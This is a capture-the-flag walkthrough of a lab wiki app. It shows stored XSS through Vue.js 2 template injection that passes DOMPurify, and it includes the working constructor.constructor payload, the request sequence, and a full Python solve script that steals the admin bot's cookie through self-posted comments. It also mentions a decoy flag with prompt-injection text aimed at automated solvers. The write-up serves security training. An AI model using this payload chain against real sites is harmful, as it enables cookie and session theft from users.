Lab 296 — DocuForge — Stored XSS via Vue.js Template Injection
Lab 296 — DocuForge — Stored XSS via Vue.js Template Injection
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: admin_bot_exploitation, client_side_template_injection, constructor_constructor_gadget, dompurify_vue_syntax_bypass, non_httponly_cookie_theft, same_origin_comment_exfiltration, vue_compile_abuse
Summary
Walkthrough of the CUSTOM Web Lab 296 — DocuForge — Stored XSS via Vue.js Template Injection. Task: DocuForge wiki platform (Express + Vue.js 2 + DOMPurify) renders article content inside a Vue instance; DOMPurify strips HTML tags/events but passes {{ }} template delimiters through; an admin b
Description
DocuForge is a collaborative knowledge base / wiki platform. Teams create and share wiki articles with rich markdown support. The platform features article categories, full-text search, comments, and an admin review system. An admin bot reviews reported articles by opening them in its logged-in browser. Goal: execute arbitrary JavaScript in the admin's browser and exfiltrate the flag hidden in the admin's cookie.
English summary: A wiki application accepts markdown articles, sanitizes them with DOMPurify, then renders the sanitized HTML inside a Vue.js 2 instance. An admin bot visits reported articles while logged in. The goal is to achieve JavaScript execution in the admin's browser and steal the flag from a non-HttpOnly cookie.
Credentials provided: user@test.com / password123. Instance: https://<UUID>.labs.hackadvisor.io/.
Analysis
Tech stack
- Backend: Express (Node.js) behind nginx 1.25.5.
- Frontend: Vue.js 2.7.16 (
vue.min.js— production build), Bulma CSS. - Sanitization: DOMPurify on article content (strips
<script>, event handlers likeonerror,javascript:hrefs). - Session cookie:
connect.sidisHttpOnly; Secure; SameSite=Lax. - Flag cookie: Separate
flagcookie that is non-HttpOnly — readable viadocument.cookie. - No
Content-Security-Policyheader on article pages. - Decoy flag:
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}embedded in HTML comments with prompt injection text on every page — must be ignored.
The vulnerability: DOMPurify + Vue.js = CSTI
DOMPurify is designed to strip dangerous HTML: <script> tags, event handler attributes (onerror, onclick), javascript: URIs, etc. However, DOMPurify has no awareness of Vue.js template syntax. The {{ }} delimiters are plain text from DOMPurify's perspective and pass through sanitization intact.
On article detail pages (/articles/:id), the sanitized HTML is placed inside <div id="article-content">, and then Vue.js is initialized on that element:
javascript read-only • copy allowednew Vue({ el: '#article-content', delimiters: ['{{', '}}'] });
Vue.js compiles the content of #article-content as a template. Any {{ expression }} inside is evaluated as a JavaScript expression within the Vue instance's scope.
Why constructor.constructor works
Since this is the production build (vue.min.js), there is no Proxy-based _renderProxy. The compiled render function uses with(this) where this is the plain Vue instance. This means:
constructorresolves to the Vue instance's constructor (theVuefunction).constructor.constructorgives theFunctionconstructor.constructor.constructor('CODE')()creates and immediately invokes a new function with arbitrary code.
This is the classic Client-Side Template Injection (CSTI) gadget for Vue.js 2 production builds.
Comments are safe from CSTI
Comments (#comments-list) are rendered outside the #article-content div, so only article body content is vulnerable. This also makes comments a perfect same-origin exfiltration channel.
Key constraints
- Markdown auto-linkification: Literal
http://URLs in article content get auto-linkified by the markdown renderer, breaking payloads. Workaround: build URLs from string concatenation like'ht'+'tp://...'. - HTML entity encoding:
&in content gets encoded to&, breaking JS with&&. Avoid&in payloads. - Login field name: The login form uses
username(notemail) as the field name. Usingemailsilently fails. - Bot behavior: The admin bot visits reported articles. On some instances, the bot appeared to be one-shot or had a long cooldown — a fresh instance may be needed.
Solution
1. Login
POST /login
Content-Type: application/x-www-form-urlencoded
username=user@test.com&password=password123
Sets connect.sid session cookie. Note: the field is username, not email.
2. Create a placeholder article
POST /api/articles
Content-Type: application/json
{"title": "Architecture Review", "content": "placeholder", "category_id": 1, "tags": "review"}
Returns {"id": 18} (article ID varies).
3. Update article with CSTI payload
The payload reads document.cookie and POSTs it as a comment on the same article (self-commenting exfiltration):
PUT /api/articles/18
Content-Type: application/json
{
"title": "Architecture Review",
"content": "{{constructor.constructor('fetch(\"/api/articles/18/comments\",{method:\"POST\",headers:{\"Content-Type\":\"application/json\"},body:JSON.stringify({content:document.cookie})})')()}}",
"category_id": 1,
"tags": "review"
}
Why this survives DOMPurify: The payload contains no HTML tags, no event handlers, no javascript: URIs — just {{ }} text delimiters. DOMPurify sees it as harmless text and passes it through verbatim.
Why this executes: When Vue.js compiles the template, constructor.constructor(...)() invokes the Function constructor to create and execute an anonymous function that calls fetch() to POST document.cookie as a comment.
4. Report the article to trigger the admin bot
POST /api/articles/18/report
Content-Type: application/json
{"reason": "Content policy review requested"}
5. Poll for the exfiltrated cookie
The admin bot opens /articles/18, Vue compiles the template, constructor.constructor executes the fetch, and the admin's document.cookie (containing flag=FLAG{...}) is posted as a comment.
After ~10-20 seconds, the comment appears:
flag=FLAG{REDACTED}
Full solve script
python read-only • copy allowed#!/usr/bin/env python3 import requests, re, json, time, sys UUID = sys.argv[1] if len(sys.argv) > 1 else "6cac6d33-93eb-48f4-a8e5-aafaa3f5f7a3" BASE = f"https://{UUID}.labs.hackadvisor.io" s = requests.Session() # 1. Login (field is "username", not "email") s.post(f"{BASE}/login", data={"username": "user@test.com", "password": "password123"}, allow_redirects=True) assert "Test User" in s.get(f"{BASE}/profile").text, "Login failed" # 2. Create placeholder article r = s.post(f"{BASE}/api/articles", json={"title": "Review", "content": "placeholder", "category_id": 1, "tags": "review"}) aid = r.json()["id"] # 3. Update with CSTI payload (same-origin comment exfiltration) js = ( 'fetch("/api/articles/%d/comments",' '{method:"POST",' 'headers:{"Content-Type":"application/json"},' 'body:JSON.stringify({content:document.cookie})})' ) % aid payload = "{{constructor.constructor('%s')()}}" % js s.put(f"{BASE}/api/articles/{aid}", json={"title": "Review", "content": payload, "category_id": 1, "tags": "review"}) # 4. Report to trigger admin bot s.post(f"{BASE}/api/articles/{aid}/report", json={"reason": "review"}) # 5. Poll for flag in comments for _ in range(30): time.sleep(10) page = s.get(f"{BASE}/articles/{aid}").text m = re.search(r"FLAG\{[0-9a-f]+\}", page) if m: print("FLAG:", m.group(0)) break
Dead Ends
- Decoy flag:
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}in HTML comments on every page with prompt injection text — trap for automated solvers. - Interact server exfiltration: External outbound requests worked once on the first instance but the bot stopped responding to subsequent reports. Same-origin comment exfiltration is the reliable channel.
- Old instance bot exhaustion: The first instance's bot appeared to stop working after the first visit. A fresh instance was needed.
- Login field confusion: Using
email=instead ofusername=caused silent login failures when the old session cookie expired.
Key Takeaways / Lessons
- Mastering admin_bot_exploitation, client_side_template_injection, constructor_constructor_gadget, dompurify_vue_syntax_bypass, non_httponly_cookie_theft, same_origin_comment_exfiltration, vue_compile_abuse was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-07-14 • CUSTOM • Lab 296 — DocuForge — Stored XSS via Vue.js Template Injection • Difficulty: Medium